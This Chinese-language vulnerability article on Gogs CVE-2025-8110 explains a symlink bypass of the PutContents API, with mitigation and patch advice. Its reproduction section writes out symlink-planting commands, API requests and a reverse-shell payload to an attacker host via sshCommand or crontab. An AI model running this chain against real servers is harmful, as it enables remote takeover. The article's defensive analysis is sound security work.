CVE-2025-8110作为Gogs自托管Git服务的高危零日漏洞,以CVSS 4.0评分8.7分的凌厉态势掀起全球网络安全风波。该漏洞本质是PutContents API对符号链接的处理缺陷,成功绕过CVE-2024-55947的路径限制防护,让低权限攻击者可实现任意文件写入并最终达成远程代码执行(RCE)。截至2025年12月,全球超700台公网暴露的Gogs实例已遭入侵,而超1400台暴露实例仍面临持续攻击威胁,其影响覆盖个人开发者、企业团队及政务机构等多类用户,凸显开源自托管服务的安全治理紧迫性。
一、漏洞背景与威胁态势:从修复缺陷到大规模在野利用
1. 漏洞溯源:两次漏洞的攻防博弈
CVE-2025-8110并非全新漏洞,而是对CVE-2024-55947修复方案的精准绕过。2024年披露的CVE-2024-55947为路径穿越漏洞,攻击者可通过PutContents API写入文件到仓库外目录,Gogs维护者仅通过添加路径前缀校验进行修复,未考虑Git仓库原生支持符号链接的特性。这一修复缺陷被攻击者捕捉,最终形成CVE-2025-8110零日漏洞,成为开源软件"补丁不彻底"的典型案例。
2. 威胁规模:全球资产暴露与在野攻击特征
- 资产覆盖广泛:据奇安信鹰图资产测绘平台数据,全球关联风险资产达6458个,国内风险资产5436个,Fofa探测显示潜在受影响资产超5万个,大量实例因默认开放注册扩大攻击面。
- 攻击模式自动化:攻击者创建随机8字符名称的仓库与账号,通过批量注册、符号链接植入、API写入恶意内容的自动化流程发起攻击,入侵后部署基于Supershell的C2框架,建立反向SSH隧道实现长期控制。
- 漏洞公开与利用节奏:2025年7月Wiz Research在客户应急响应中首次发现该漏洞,12月10日正式公开披露,POC已公开但完整EXP尚未普及,目前正处于攻击高发期。
二、漏洞核心原理与绕过逻辑:符号链接的"穿墙术"
1. 技术本质:符号链接与API处理的双重漏洞
Git仓库允许符号链接文件存在,且支持指向仓库外的系统敏感路径,而Gogs的PutContents API在处理文件写入时,默认调用os.WriteFile函数且未启用O_NOFOLLOW标志,会自动跟随符号链接指向的最终路径写入内容。这一特性让原本仅限制仓库内路径的校验机制彻底失效,形成"仓库内文件"到"系统任意文件"的突破通道。
2. 攻击链完整解析
- 权限获取:利用Gogs默认开放注册功能,攻击者注册普通用户账号,获取仓库创建与文件提交权限。
- 符号链接植入:创建恶意仓库,提交指向敏感文件的符号链接(如
.git/config、/etc/passwd、/etc/crontab等),可通过本地Git命令推送或API直接提交base64编码的符号链接数据。 - 恶意内容写入:通过PutContents API向符号链接文件写入恶意配置或命令,API跟随链接覆写目标系统文件。
- RCE触发:通过SSH访问仓库触发
sshCommand执行、定时任务自动运行等方式,实现代码执行与服务器控制。
3. 关键代码缺陷分析
- 路径校验不足:在
routers/api/v1/repo/editor.go的路径校验函数中,仅通过filepath.Abs获取绝对路径并检查是否包含仓库根目录前缀,未对路径是否为符号链接及目标路径进行校验。 - 写入逻辑缺陷:
internal/database/repo_editor.go的UpdateRepoFile函数未对filePath参数做符号链接检测,直接调用os.WriteFile写入,且该文件此前已存在12处修复记录,属于高频漏洞点。
三、环境搭建与分步复现:可落地的漏洞验证流程
1. 复现环境精准配置
| 组件 | 具体要求 | 配置说明 |
|---|---|---|
| 操作系统 | Ubuntu 22.04 LTS(优先) | Linux系统符号链接行为稳定,Windows环境需调整路径格式 |
| Gogs版本 | 0.13.3及以下(未修复版本) | 避免使用开发版,确保漏洞存在且环境纯净 |
| 依赖工具 | Git 2.34+、Go 1.21+、curl/postman、nc | 需提前配置Git用户信息与SSH密钥 |
| 测试网络 | 公网可达或内网互通环境 | 需满足SSH连接与API请求条件 |
安装步骤优化:
- 快速部署:推荐使用Docker容器启动,命令如下:
dockerrun -d --name gogs -p3000:3000 -p2022:22 -v /var/gogs:/data gogs/gogs - 初始化配置:访问
http://<ip>:3000,选择SQLite数据库简化配置,跳过管理员账号创建,保留开放注册功能。 - 权限准备:注册测试用户,生成API Token(用户设置→应用→生成新令牌),添加SSH公钥便于后续Git操作。
2. 分阶段复现步骤
(1)恶意仓库与符号链接创建
本地创建符号链接并推送至远程仓库:
# 创建本地仓库mkdirexploit-repo&&cdexploit-repo&&gitinit# 创建指向.git/config的符号链接ln-s /var/gogs/repositories/<user>/exploit-repo.git/config symlink-config# 提交并推送gitaddsymlink-configgitconfig user.name"test-attacker"&&gitconfig user.email"test@example.com"gitcommit -m"Add config symlink"gitremoteaddorigin ssh://git@<target-ip>:2022/<user>/exploit-repo.gitgitpush -u origin mainAPI提交备选方案(适用于无本地Git环境场景):
POST /api/v1/repos/<user>/exploit-repo/contents/symlink-crontab HTTP/1.1 Host: <target-ip>:3000 Content-Type: application/json Authorization: token <user-token> {"message":"Add crontab symlink","content":"bG4gLXMgL2V0Yy9jcm9udGFiIHBhdGggLnN5bWxpbms1Ng==","branch":"main"}(2)恶意内容构造与API写入
构造反弹shell配置(修改.git/config):
[core] sshCommand = bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'Base64编码后通过PUT请求提交:
PUT /api/v1/repos/<user>/exploit-repo/contents/symlink-config HTTP/1.1 Host: <target-ip>:3000 Content-Type: application/json Authorization: token <user-token> {"message":"Update config","content":"W2NvcmVdCglzc2hDb21tYW5kID0gYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC88YXR0YWNrZXItaXAvPjQ0NDQgMD4mMSc=","branch":"main"}(3)RCE触发与验证
- SSH触发方式:
- 攻击者本地监听端口:
nc -lvnp 4444 - 执行Git克隆命令:
git clone ssh://git@<target-ip>:2022/<user>/exploit-repo.git - 成功获取反弹shell,验证命令执行权限。
- 攻击者本地监听端口:
- 定时任务触发方式(更稳定):
- 符号链接指向
/etc/crontab,写入每分钟执行的反弹shell命令。 - 等待1分钟后,监听端口接收shell,适用于SSH服务不可用场景。
- 符号链接指向
3. 复现常见问题排查
- 符号链接路径错误:建议使用绝对路径,避免相对路径导致链接失效,可通过
ls -l检查本地符号链接指向是否正确。 - API请求失败:检查Token权限(需仓库写权限)、分支名称(默认
main而非master)、Content字段base64编码是否完整。 - 反弹shell无响应:确认目标服务器与攻击者之间网络连通性,关闭防火墙或放行监听端口,针对不同系统调整shell命令(Windows使用cmd命令)。
四、防护方案与修复建议:分级防御与长期治理
1. 紧急缓解措施(立即执行)
- 禁用开放注册:修改Gogs配置文件
app.ini,设置[auth] DISABLE_REGISTRATION = true,重启服务生效,阻断攻击者账号注册通道。 - 限制网络暴露:将Gogs实例迁移至内网环境,通过VPN或跳板机提供访问,公网实例需配置防火墙白名单,仅允许可信IP访问3000端口与SSH端口。
- 禁用符号链接:执行
git config --global core.symlinks false,禁止Git仓库处理符号链接,从源头阻断漏洞利用前提。 - 应急排查:扫描所有仓库,删除名称随机、包含符号链接的可疑仓库,检查
.git/config、/etc/crontab等文件是否存在异常配置。
2. 技术修复方案(短期落地)
- 临时补丁开发:在路径校验逻辑中添加符号链接检测,通过
os.Lstat判断文件类型,拒绝符号链接写入;或修改文件写入逻辑,使用os.OpenFile并添加syscall.O_NOFOLLOW标志,禁止跟随符号链接。 - 关键代码修改示例:
// 符号链接检测逻辑fileInfo,err:=os.Lstat(path)iferr==nil&&fileInfo.Mode()&os.ModeSymlink!=0{returnerrors.New("symbolic links are not allowed")}// 安全写入逻辑f,err:=os.OpenFile(path,os.O_WRONLY|os.O_CREATE|os.O_TRUNC|syscall.O_NOFOLLOW,0644) - 第三方防护:在Nginx或WAF中配置拦截规则,阻断指向敏感路径的符号链接文件提交,以及异常的PutContents API请求。
3. 长期安全治理(持续推进)
- 版本升级:密切关注Gogs官方更新,在修复版本发布后立即升级,避免使用长期未维护的旧版本。
- 权限最小化:关闭不必要的API接口,限制普通用户的仓库创建权限,采用"申请-审批"机制管理用户账号。
- 安全监控:部署日志审计系统,重点监控PutContents API调用、符号链接文件创建、敏感文件修改等行为,建立异常告警机制。
- 供应链安全:定期对开源组件进行漏洞扫描,将Gogs等自托管服务纳入企业安全资产台账,建立常态化漏洞管理流程。
五、漏洞延伸思考与前瞻性启示
1. 开源自托管服务的共性安全风险
CVE-2025-8110的爆发暴露了开源自托管服务的普遍问题:默认配置安全性不足(开放注册、公网暴露)、补丁修复不彻底(仅解决表面问题,未覆盖边缘场景)、缺乏完善的安全监控机制。这类服务因轻量化、易部署的特性被广泛使用,但往往缺乏企业级安全防护设计,成为网络攻击的重点目标。
2. 符号链接类漏洞的防御趋势
符号链接作为文件系统的基础特性,常被用于绕过路径限制,类似漏洞在GitLab、Jenkins等开源工具中均有出现。未来防御需从三方面入手:一是在路径校验中增加符号链接检测与目标路径验证;二是文件写入操作强制启用"不跟随符号链接"模式;三是限制敏感目录的文件覆写权限,避免关键配置文件被轻易修改。
3. 应急响应与漏洞治理的优化方向
面对零日漏洞,企业需建立"快速检测-紧急缓解-技术修复-长期加固"的闭环机制。建议提前梳理开源组件资产清单,与安全厂商建立威胁情报同步通道,在漏洞披露后12小时内完成资产自查与临时防护,避免因响应滞后导致损失扩大。同时,推动开源社区建立更严格的漏洞修复审核机制,避免"补丁引入新漏洞"或"修复不彻底"的情况发生。
总结
CVE-2025-8110以"符号链接绕过"的巧妙利用方式,撕开了Gogs的安全防线,其背后是修复逻辑的疏忽与安全设计的缺失。目前该漏洞仍处于无官方补丁的高危状态,全球大量暴露实例面临攻击风险,亟需采取紧急防护措施。对于企业和开发者而言,不仅要针对性应对该漏洞,更要以此为鉴,重视开源组件的安全治理,从配置加固、权限管控、漏洞监控等多维度构建防御体系,避免重蹈覆辙。